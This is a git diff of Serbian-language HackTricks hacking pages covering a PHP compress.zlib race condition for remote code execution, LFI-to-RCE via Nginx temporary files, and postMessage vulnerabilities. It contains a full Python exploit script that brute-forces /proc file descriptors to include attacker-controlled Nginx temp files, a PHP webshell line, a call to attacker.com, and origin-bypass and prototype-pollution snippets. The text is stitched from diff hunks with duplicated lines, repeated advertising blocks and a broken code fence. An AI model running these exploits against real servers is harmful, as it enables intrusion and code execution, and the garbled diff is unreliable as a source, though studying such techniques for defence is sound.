<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA ČLANSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikova slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,26 +4,39 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web-om** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za pretragu **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## `compress.zlib://` i `PHP_STREAM_PREFER_STDIO`
Fajl otvoren koristeći protokol `compress.zlib://` sa zastavicom `PHP_STREAM_PREFER_STDIO` može nastaviti sa pisanjem podataka koji stižu kasnije na isti fajl.
Fajl otvoren koristeći protokol `compress.zlib://` sa zastavicom `PHP_STREAM_PREFER_STDIO` može nastaviti sa pisanjem podataka koji stižu na konekciju kasnije u isti fajl.
Ovo znači da poziv kao što je:
To znači da poziv poput:
```php
file_get_contents("compress.zlib://http://attacker.com/file")
```
Poslaćemo zahtev za http://attacker.com/file, a zatim server može odgovoriti na zahtev sa validnim HTTP odgovorom, zadržati otvorenu vezu i kasnije poslati dodatne podatke koji će takođe biti upisani u datoteku.
Zatražićemo zahtev za http://attacker.com/file, nakon čega server može odgovoriti zahtevom sa validnim HTTP odgovorom, zadržati otvorenu vezu i kasnije poslati dodatne podatke koji će takođe biti upisani u datoteku.
Možete videti tu informaciju u delu koda php-src u main/streams/cast.c:
Možete videti tu informaciju u ovom delu koda php-src u main/streams/cast.c:
```c
/* Use a tmpfile and copy the old streams contents into it */
@ -33,20 +46,31 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_temp_new();
}
```
## Trkačka uslov za RCE
## Trkački uslov za RCE
[**Ovaj CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) je rešen koristeći prethodnu prevaru.
[**Ovaj CTF**](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer) je rešen korišćenjem prethodne prevare.
Napadač će naterati **žrtveni server da otvori vezu i čita fajl sa servera napadača** koristeći protokol **`compress.zlib`**.
Napadač će naterati **žrtvin server da otvori vezu i čita fajl sa servera napadača** koristeći protokol **`compress.zlib`**.
**Dok** ova **veza** postoji, napadač će **izvući putanju** do privremenog fajla koji je kreiran (koju je otkrio server).
**Dok** ova **veza** postoji, napadač će **izvući putanju** do privremenog fajla koji je kreiran (koji je procureo od strane servera).
**Dok** je **veza** još uvek otvorena, napadač će **iskoristiti LFI učitavajući privremeni fajl** koji kontroliše.
**Dok** je **veza** još uvek otvorena, napadač će **iskoristiti LFI učitavanjem privremenog fajla** koji kontroliše.
Međutim, postoji provera na veb serveru koja **sprečava učitavanje fajlova koji sadrže `<?`**. Zbog toga će napadač iskoristiti **trkačku uslov**. U vezi koja je još uvek otvorena, **napadač** će **poslati PHP payload NAKON** što je **veb server** proverio da li fajl sadrži zabranjene karaktere, ali **PRE nego što učita njegov sadržaj**.
Međutim, postoji provera u veb serveru koja **sprečava učitavanje fajlova koji sadrže `<?`**. Stoga, napadač će zloupotrebiti **Trkački uslov**. U vezi koja je još uvek otvorena, **napadač** će **poslati PHP payload NAKON** što je **veb server** proverio da li fajl sadrži zabranjene karaktere ali **PRE nego što učita njegov sadržaj**.
Za više informacija pogledajte opis trkačke uslova i CTF na [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
Za više informacija pogledajte opis Trkačkog uslova i CTF na [https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf\_writeup/20191228-hxp36c3ctf/#includer)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dark vebu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera koji kradu informacije**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomverom koji proizilaze iz malvera koji kradu informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
@ -54,10 +78,10 @@ Za više informacija pogledajte opis trkačke uslova i CTF na [https://balsn.tw/
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Pogledajte [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# LFI2RCE putem Nginx privremenih fajlova
# LFI2RCE putem Nginx privremenih datoteka
<details>
@ -6,20 +6,34 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač na **dark vebu** koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Ranjiva konfiguracija
**[Primer sa https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)**
* PHP kod:
```
````h`
<?php include_once($_GET['file']);
```
* FPM / PHP konfiguracija:
@ -29,16 +43,16 @@ php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...
```
* Postavljanje / ojačavanje:
```
* Postavka / ojačavanje:
```bash
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...
```
Srećom, PHP se trenutno često implementira putem PHP-FPM i Nginx-a. Nginx nudi lako previdljivu funkcionalnost [client body buffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) koja će kreirati privremene fajlove ako je telo klijenta (ne samo ograničeno na POST) veće od određenog praga.
Srećom, PHP se trenutno često implementira putem PHP-FPM-a i Nginxa. Nginx nudi lako previdljivu [client body buffering](https://nginx.org/en/docs/http/ngx\_http\_core\_module.html#client\_body\_buffer\_size) funkciju koja će pisati privremene datoteke ako je telo klijenta (nije ograničeno na post) veće od određenog praga.
Ova funkcionalnost omogućava iskorišćavanje LFI-ja bez ikakvog drugog načina kreiranja fajlova, ukoliko Nginx radi kao isti korisnik kao i PHP (što je vrlo često slučaj, kao što je www-data).
Ova funkcija omogućava iskorišćavanje LFI-ja bez ikakvog drugog načina kreiranja datoteka, ako Nginx radi pod istim korisnikom kao PHP (vrlo često kao www-data).
Relevantan Nginx kod:
```c
@ -57,7 +71,7 @@ if (fd != -1 && !persistent) {
return fd;
}
```
Vidljivo je da se **privremena datoteka odmah uklanja** nakon što je otvorena od strane Nginx-a. Srećom, **procfs može se koristiti da se i dalje dobije referenca** na obrisani fajl putem trke:
Vidljivo je da je **privremena datoteka odmah uklonjena** nakon što je otvorena od strane Nginxa. Srećom, **procfs se može koristiti da se i dalje dobije referenca** na obrisani fajl putem trke:
```
...
/proc/34/fd:
@ -72,9 +86,9 @@ lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...
```
Napomena: U ovom primeru nije moguće direktno uključiti `/proc/34/fd/15`, jer bi PHP-ova `include` funkcija razrešila putanju u `/var/lib/nginx/body/0000001368 (obrisano)`, koja ne postoji u fajl sistemu. Srećom, ovu manju restrikciju možemo zaobići korišćenjem neke vrste indirekcije kao što je `/proc/self/fd/34/../../../34/fd/15`, što će na kraju izvršiti sadržaj obrisanog fajla `/var/lib/nginx/body/0000001368`.
Napomena: U ovom primeru nije moguće direktno uključiti `/proc/34/fd/15` jer bi PHP-ova funkcija `include` rešila putanju kao `/var/lib/nginx/body/0000001368 (obrisano)` što ne postoji u fajl sistemu. Ovo manje ograničenje srećom može biti zaobiđeno nekom vrstom indirekcije poput: `/proc/self/fd/34/../../../34/fd/15` što će na kraju izvršiti sadržaj obrisanog fajla `/var/lib/nginx/body/0000001368`.
## Potpuna eksploatacija
## Potpuna Eksploatacija
```python
#!/usr/bin/env python3
import sys, threading, requests
@ -143,39 +157,7 @@ for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
```
# LFI to RCE via Nginx temp files
## Description
This technique allows an attacker to escalate a Local File Inclusion (LFI) vulnerability to Remote Code Execution (RCE) by exploiting Nginx temporary files.
## Exploitation
1. Identify the LFI vulnerability in the target web application.
2. Determine the location of the Nginx temporary directory. This can usually be found in the Nginx configuration file (`nginx.conf`).
3. Craft a payload that will write a malicious PHP file to the Nginx temporary directory. For example:
```php
<?php echo system($_GET['cmd']); ?>
```
4. Use the LFI vulnerability to include the crafted payload into a PHP file on the target server.
5. Trigger the inclusion of the PHP file containing the payload.
6. The payload will be executed by the server, resulting in remote code execution.
## Prevention
To prevent this type of attack, it is recommended to:
- Regularly update Nginx to the latest version.
- Restrict access to the Nginx temporary directory.
- Implement input validation and sanitization to prevent LFI vulnerabilities.
- Use a Web Application Firewall (WAF) to detect and block malicious requests.
## References
- [https://www.nginx.com/](https://www.nginx.com/)
- [https://owasp.org/www-project-top-ten/](https://owasp.org/www-project-top-ten/)
Izlaz:
```
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
@ -310,16 +292,28 @@ read_file_multiprocess(requests_session, nginx_pids)
* [https://bierbaumer.net/security/php-lfi-with-nginx-assistance/](https://bierbaumer.net/security/php-lfi-with-nginx-assistance/)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **ugroženi** od **malvera koji krade podatke**.
Primarni cilj WhiteIntela je borba protiv preuzimanja naloga i napada ransomvera koji proizilaze iz malvera koji krade informacije.
Možete posetiti njihovu veb lokaciju i isprobati njihovu mašinu za **besplatno** na:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju oglašenu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -1,4 +1,4 @@
# PostMessage Vulnerabilities
# Vulnerabilnosti PostMessage
## Vulnerabilnosti PostMessage
@ -8,15 +8,29 @@
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJE**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
## Pošalji **PostMessage**
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) je pretraživač pokretan **dark-web**-om koji nudi **besplatne** funkcionalnosti za proveru da li je kompanija ili njeni korisnici **kompromitovani** od strane **malvera za krađu podataka**.
Primarni cilj WhiteIntel-a je borba protiv preuzimanja naloga i napada ransomware-a koji proizilaze iz malvera za krađu informacija.
Možete posetiti njihovu veb stranicu i isprobati njihovu mašinu **besplatno** na:
{% embed url="https://whiteintel.io" %}
---
## Slanje **PostMessage**
**PostMessage** koristi sledeću funkciju za slanje poruke:
```bash
@ -46,12 +60,12 @@ win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
```
Imajte na umu da **targetOrigin** može biti '\*' ili URL poput _https://company.com._\
U **drugom scenariju**, **poruka može biti poslata samo toj domeni** (čak i ako je poreklo objekta prozora drugačije).\
Ako se koristi **zvezdica**, **poruke mogu biti poslate bilo kojoj domeni**, i biće poslate na poreklo objekta Prozora.
Ako se koristi **zvezdica**, **poruke bi mogle biti poslate bilo kojoj domeni**, i biće poslate na poreklo objekta Prozora.
### Napad na iframe & zvezdicu u **targetOrigin**
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja šalje osetljivu poruku putem **postMessage** koristeći **zvezdicu** (\*), možete **modifikovati** **poreklo** **iframe-a** i **procureti** **osetljivu** poruku na domen koji kontrolišete.\
Imajte na umu da ako stranica može biti iframed ali je **targetOrigin** postavljen na URL a ne na zvezdicu, ovaj **tri**k neće raditi.
Kao što je objašnjeno u [**ovom izveštaju**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/) ako pronađete stranicu koja može biti **iframed** (bez zaštite `X-Frame-Header`) i koja šalje osetljivu poruku putem **postMessage** koristeći **zvezdicu** (\*), možete **modifikovati** **poreklo** **iframe-a** i **procureti** **osetljivu** poruku do domena koji kontrolišete.\
Imajte na umu da ako stranica može biti iframed ali je **targetOrigin** postavljen na URL a ne na zvezdicu, ovaj **tri**k neće **raditi**.
```markup
<html>
<iframe src="https://docs.google.com/document/ID" />
@ -78,7 +92,7 @@ return;
// ...
}, false);
```
U ovom slučaju, **prva stvar** koju kod radi je **provera porekla**. To je izuzetno **važno**, posebno ako stranica planira da radi **nešto osetljivo** sa primljenim informacijama (kao što je promena lozinke). **Ako ne proverava poreklo, napadači mogu naterati žrtve da šalju proizvoljne podatke na ove endpointove** i promeniti lozinke žrtava (u ovom primeru).
U ovom slučaju, **prva stvar** koju kod radi je **provera porekla**. To je izuzetno **važno**, posebno ako stranica planira da radi **nešto osetljivo** sa primljenim informacijama (kao što je promena lozinke). **Ako ne proverava poreklo, napadači mogu naterati žrtve da pošalju proizvoljne podatke na ove endpointove** i promene lozinke žrtava (u ovom primeru).
### Enumeracija
@ -93,12 +107,12 @@ Da biste **pronašli slušaoce događaja** na trenutnoj stranici možete:
![](<../../.gitbook/assets/image (393).png>)
* Koristite **dodatak za pregledač** poput [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ovi dodaci za pregledače će **presresti sve poruke** i prikazati ih vama.
* Koristite **proširenje pregledača** poput [**https://github.com/benso-io/posta**](https://github.com/benso-io/posta) ili [https://github.com/fransr/postMessage-tracker](https://github.com/fransr/postMessage-tracker). Ova proširenja pregledača će **presresti sve poruke** i prikazati ih vama.
### Bypass provere porekla
* Atribut **`event.isTrusted`** smatra se sigurnim jer vraća `True` samo za događaje koji su generisani autentičnim korisničkim akcijama. Iako je izazovno zaobići ga ako je pravilno implementiran, njegova važnost u sigurnosnim proverama je značajna.
* Korišćenje **`indexOf()`** za proveru porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:
* Korišćenje **`indexOf()`** za validaciju porekla u PostMessage događajima može biti podložno zaobilaženju. Primer koji ilustruje ovu ranjivost je:
```javascript
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
@ -109,7 +123,7 @@ Da biste **pronašli slušaoce događaja** na trenutnoj stranici možete:
"https://www.safedomain.com".search("www.s.fedomain.com")
```
* Funkcija **`match()`**, slično kao `search()`, obrađuje regex. Ako je regex nepravilno struktuiran, može biti podložan zaobilaženju.
* Funkcija **`escapeHtml`** namenjena je zaštiti unosa putem izbegavanja karaktera. Međutim, ona ne stvara novi izbegnuti objekat već prebrisuje svojstva postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Posebno, ako se objekat može manipulisati tako da njegovo kontrolisano svojstvo ne prepoznaje `hasOwnProperty`, `escapeHtml` neće raditi kako se očekuje. To je prikazano u primerima ispod:
* Funkcija **`escapeHtml`** namenjena je zaštiti unosa putem izbegavanja karaktera. Međutim, ne stvara novi izbegnuti objekat već prepiše osobine postojećeg objekta. Ovo ponašanje može biti iskorišćeno. Posebno, ako se objekat može manipulisati tako da njegova kontrolisana osobina ne prepoznaje `hasOwnProperty`, `escapeHtml` neće raditi kako se očekuje. To je prikazano u primerima ispod:
* Očekivano neuspešno:
@ -126,16 +140,16 @@ result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"
```
U kontekstu ove ranjivosti, objekat `File` je posebno iskorišćiv zbog svog samo za čitanje svojstva `name`. Ovo svojstvo, kada se koristi u šablonima, nije dezinfikovano funkcijom `escapeHtml`, što dovodi do potencijalnih sigurnosnih rizika.
U kontekstu ove ranjivosti, objekat `File` je posebno iskorišćiv zbog svoje samo za čitanje `name` osobine. Ova osobina, kada se koristi u šablonima, nije pročišćena funkcijom `escapeHtml`, što dovodi do potencijalnih sigurnosnih rizika.
* Svojstvo `document.domain` u JavaScript-u može biti postavljeno skriptom da skrati domen, omogućavajući opušteniju primenu politike istog porekla unutar istog roditeljskog domena.
### Bypass e.origin == window.origin
Prilikom ugradnje veb stranice unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo ifreama biti postavljeno na null. To je posebno važno kada se radi sa **sandbox atributima** i njihovim implikacijama na sigurnost i funkcionalnost.
Prilikom ugrađivanja web stranice unutar **sandboxed iframe** koristeći %%%%%%, važno je razumeti da će poreklo ifream-a biti postavljeno na null. To je posebno važno kada se radi sa **sandbox atributima** i njihovim implikacijama na sigurnost i funkcionalnost.
Specifikacijom **`allow-popups`** u sandbox atributu, svaki popup prozor otvoren iz ifreama nasleđuje sandbox ograničenja svojih roditelja. To znači da osim ako je takođe uključen atribut **`allow-popups-to-escape-sandbox`**, poreklo popup prozora takođe je postavljeno na `null`, usklađujući se sa poreklom ifreama.
Specifikacijom **`allow-popups`** u sandbox atributu, svaki popup prozor otvoren iz ifream-a nasleđuje sandbox ograničenja svojih roditelja. To znači da osim ako se takođe ne uključi atribut **`allow-popups-to-escape-sandbox`**, poreklo popup prozora takođe je postavljeno na `null`, usklađujući se sa poreklom ifream-a.
Kao rezultat toga, kada se otvori popup u ovim uslovima i poruka se pošalje iz ifreama ka popup prozoru koristeći **`postMessage`**, kako pošiljalac tako i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** vrednuje kao tačno (`null == null`), jer i ifream i popup dele istu vrednost porekla `null`.
Kao rezultat toga, kada se otvori popup u ovim uslovima i poruka se pošalje iz ifream-a ka popup prozoru koristeći **`postMessage`**, kako pošiljalac tako i primalac imaju svoja porekla postavljena na `null`. Ova situacija dovodi do scenarija gde **`e.origin == window.origin`** vrednuje kao tačno (`null == null`), jer i ifream i popup dele istu vrednost porekla `null`.
Za više informacija **pročitajte**:
@ -152,7 +166,7 @@ if( received_message.source !== window ) {
return;
}
```
Možete prisiliti **`e.source`** poruke da bude null tako što kreirate **iframe** koji **šalje** **postMessage** i odmah se **briše**.
Možete prisiliti **`e.source`** poruke da budu null kreiranjem **iframe-a** koji **šalje** **postMessage** i odmah se **briše**.
Za više informacija **pročitajte:**
@ -163,7 +177,7 @@ Za više informacija **pročitajte:**
### Bypassovanje X-Frame-Header-a
Da biste izveli ove napade, idealno je da možete **ubaciti ciljnu web stranicu** unutar `iframe`-a. Međutim, neki zaglavlja poput `X-Frame-Header` mogu **sprečiti** takvo **ponašanje**.\
U tim scenarijima i dalje možete koristiti manje prikraden napad. Možete otvoriti novi tab ka ranjivoj web aplikaciji i komunicirati s njom:
U tim scenarijima i dalje možete koristiti manje prikraden napad. Možete otvoriti novi tab do ranjive web aplikacije i komunicirati s njom:
```markup
<script>
var w=window.open("<url>")
@ -172,7 +186,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
```
### Krađa poruke poslate detetu blokiranjem glavne stranice
Na sledećoj stranici možete videti kako biste mogli ukrasti **osetljive podatke poslate putem postmessage** detetu u **iframe-u** blokiranjem **glavne** stranice pre slanja podataka i zloupotrebljavajući **XSS u detetu** da **procure podatke** pre nego što budu primljeni:
Na sledećoj stranici možete videti kako biste mogli ukrasti **osetljive podatke poslate putem postmessage** detetu u **iframe-u** blokiranjem **glavne** stranice pre slanja podataka i zloupotrebe **XSS-a u detetu** da **procure podaci** pre nego što budu primljeni:
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
@ -180,7 +194,7 @@ Na sledećoj stranici možete videti kako biste mogli ukrasti **osetljive podatk
### Krađa poruke modifikovanjem lokacije iframe-a
Ako možete ugraditi veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe, možete **promeniti lokaciju tog detetovog iframe-a**, tako da ako prima **postmessage** poslat korišćenjem **zvezdice**, napadač bi mogao **promeniti** tu iframe **poreklo** na stranicu kojom **kontroliše** i **ukrasti** poruku:
Ako možete ugraditi veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe, možete **promeniti lokaciju tog detetovog iframe-a**, tako da ako prima **postmessage** poslat koristeći **zvezdicu**, napadač bi mogao **promeniti** tu iframe **poreklo** na stranicu kojom **kontroliše** i **ukrasti** poruku:
{% content-ref url="steal-postmessage-modifying-iframe-location.md" %}
[steal-postmessage-modifying-iframe-location.md](steal-postmessage-modifying-iframe-location.md)
@ -188,11 +202,11 @@ Ako možete ugraditi veb stranicu bez X-Frame-Header-a koja sadrži drugi iframe
